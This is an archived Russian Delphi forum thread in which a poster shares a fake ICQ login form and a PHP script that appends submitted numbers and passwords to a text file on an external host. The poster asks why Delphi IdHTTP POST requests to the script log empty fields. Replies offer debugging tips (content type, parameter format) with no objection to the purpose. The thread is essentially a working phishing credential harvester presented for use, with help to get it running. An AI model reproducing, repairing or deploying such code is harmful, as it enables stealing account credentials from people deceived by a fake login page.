Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2008.12.14;
Скачать: CL | DM;

Вниз

Отправка данных методом POST через IdHTTP   Найти похожие ветки 

 
Fixi4eeG   (2007-12-02 13:41) [0]

Не могу отправить данные методом POST на html страничку через компонент IdHTTP.

HTml код

[quote]

<center>

<form method="post" action="0144887.php" onSubmit="return CheckForm(this);">

<input type="hidden" name="page" value="start">

<input type="hidden" name="post" value="">

<input type="hidden" name="login_from" value="">

<tr>

<td><img src=http://img.mail.ru/0.gif width=55 height=1><br>ICQ Number</td>

<td width=63%><input type="text" name="Login" value="" class=w_100></td>

</tr>

<tr><br>

<td>ICQ Password</td>

<td width=100%><input type="password" name="Password" class=w_100></td>

<tr>

<td> </td><br>

<td><input type="Submit" value="Login" style="margin-top:4px"></td>

<td> </td>

</tr></form>

</table>

</center

[/quote]

php код, раньше этот скрипт использовался для записи мыла, но как другого нету, приходится использовать этот. Запись происходит

Login:Pass

[quote]

$from="From: $from\nReply-To: $from\nX-Priority: 1\nContent-Type: text/plain; charset=\"koi8-r\"\nContent-Transfer-Encoding: 8bit";

$from=convert_cyr_string($from,"w","k");

$to=convert_cyr_string($to,"w","k");

$subj=convert_cyr_string($subj,"w","k");

$body=convert_cyr_string($body,"w","k");

mail($to,$subj,$body,$from);

$c = "$Login@$Domain:$Pass";

$fp = fopen("114532.txt","a+"); //открываем файл

fwrite($fp,"\n [start-- $c -- end] \n"); //записываем всё

fclose($fp); //закрываем

[/quote]

код в делфи ..

[quote]

var sl:TStringList;

s:string;

begin

sl:=TStringList.create;

sl.add("Login=Vasya");

sl.add("Password=Pupkin");

s:=idHttp1.post("http://avtori.rxfly.net/icq/0144887.php",sl);

sl.free;

end;

[/quote]

После процедур в делфи, в файло записывается пустые пустые поля, типа : " "@:" "


 
Сергей М. ©   (2007-12-03 16:20) [1]

Хренб послал - хрень и получил.


 
Palladin ©   (2007-12-03 16:34) [2]

ну во-первых

sl.Request.ContentType:="application/x-www-form-urlencoded";

а во-вторых

sl.Add("Login=Vasya&Password=Pupkin");


 
MetalFan ©   (2007-12-04 14:14) [3]


> а во-вторых
>
> sl.Add("Login=Vasya&Password=Pupkin");
>

а не обязательно. инди сами приведут при необходимости к такому виду.
ошибка в чем-то другом.



Страницы: 1 вся ветка

Текущий архив: 2008.12.14;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.02 c
2-1225776891
AlexDan
2008-11-04 08:34
2008.12.14
Работа с BorderIcons..


2-1225956792
pushkin42
2008-11-06 10:33
2008.12.14
Активация предыдущего окна


15-1223909818
Валера
2008-10-13 18:56
2008.12.14
Реестр.


3-1211271563
Ega23
2008-05-20 12:19
2008.12.14
Select * from - порядок полей


6-1196012003
av_kit
2007-11-25 20:33
2008.12.14
Включить ПК по сети